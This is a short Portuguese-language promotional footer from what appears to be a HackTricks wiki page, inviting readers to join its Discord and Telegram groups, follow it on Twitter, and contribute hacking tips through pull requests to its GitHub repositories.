* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|